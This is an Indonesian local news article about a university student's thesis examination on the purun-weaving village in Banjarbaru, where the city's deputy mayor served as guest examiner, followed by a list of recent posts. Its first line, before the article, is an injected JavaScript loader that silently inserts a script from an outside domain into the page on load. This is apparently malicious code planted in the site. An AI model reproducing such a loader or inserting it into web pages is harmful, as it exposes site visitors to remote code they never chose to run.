(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pendidikan

Kampung Purun Jadi Objek Penelitian Skripsi, Giliran Wawali Banjarbaru Jadi Penguji


BANJARMASIN, Kampung Purun yang berada di Kelurahan Palam Kota Banjarbaru, menjadi objek penelitian skripsi Julia Armiyanti Lestari, mahasiswi Prodi Pendidikan IPS FKIP Universitas Lambung Mangkurat Banjarmasin. Penelitian sendiri berjudul “Pemanfaatan Nilai Ekonomis Aktivitas Pengrajin Purun Kampung Purun Kelurahan Palam Kota Banjarbaru sebagai Sumber Pembelajaran IPS”, yang diuji melalui sidang skripsi di Aula Rektorat ULM Banjarmasin, Selasa (7/1) siang.

Dalam pemaparannya, Julia mengangkat potensi lokal yang dapat menunjang aktivitas ekonomi, khususnya di Kota Banjarbaru.

“Sektor yang berkembang yaitu kerajinan ekonomi kreatif purun di Kampung Purun,” katanya.

Kaitannya dengan pembelajaran IPS, Julia membeberkan, ada cara untuk mencapai tujuan pembelajaran dengan memanfaatkan sumber pembelajaran untuk menunjang materi. “Melihat relevansi, ini merupakan bagian dari sumber belajar, yang berisi ide pesan gagasan sehingga dimanfaatkan sebagai pembelajaran IPS, salah satunya materi kegiatan ekonomi baik produksi tentang ekonomi kreatif,” katanya.

Implementasi nilai ekonomis pengrajin purun dilakukan Julia di SMPN 7 Banjarmasin, yaitu dengan menganalisis relevansi pembelajaran, langkah-langkah pembelajaran masukan nilai ekonomis menunjang proses produksi, dan penugasan kelompok yang diaplikasikan dalam pembelajaran. “Diimplementasikan di SMPN 7 Banjarmasin, dengan memadukan uraian terkait kerajinam purun yanh berbantukan media gambar,” tutupnya.

Wakil Walikota Banjarbaru H. Darmawan Jaya Setiawan yang menjadi penguji tamu menyambut baik dengan adanya penelitian dengan menjadikan Kampung Purun Banjarbaru sebagai objek penelitian. “Ini menjadi bagian dari masukan saran untuk Pemko Banjarbaru unruk mengembangkan kampung purun menjadi lebih baik,” kata Darmawan Jaya.

Lebih lanjut dirinya menambahkan, kampung purun yang diresmikan dalam safari ramadhan tahun 2016 lalu, ada nilai tambah yang salah salah satu cirinya yaitu ekonomi kreatif. “Ada pula nilai tambah kekayaan intelektual dari jual bahan mentah menjadi barang jadi dengan variasi produk,” tandasnya. (fikri)

Reporter : fikri
Editor : Chell

 


Al Ghifari

Recent Posts

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

11 jam ago

‎Berbagi Semangat Mengaji dengan Dansatgas TMMD di TPA Al Ikhlas

‎KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More

17 jam ago

Hendak Tawuran, 16 Remaja Bawa Sajam Diamankan

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More

17 jam ago

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

1 hari ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

1 hari ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

1 hari ago

This website uses cookies.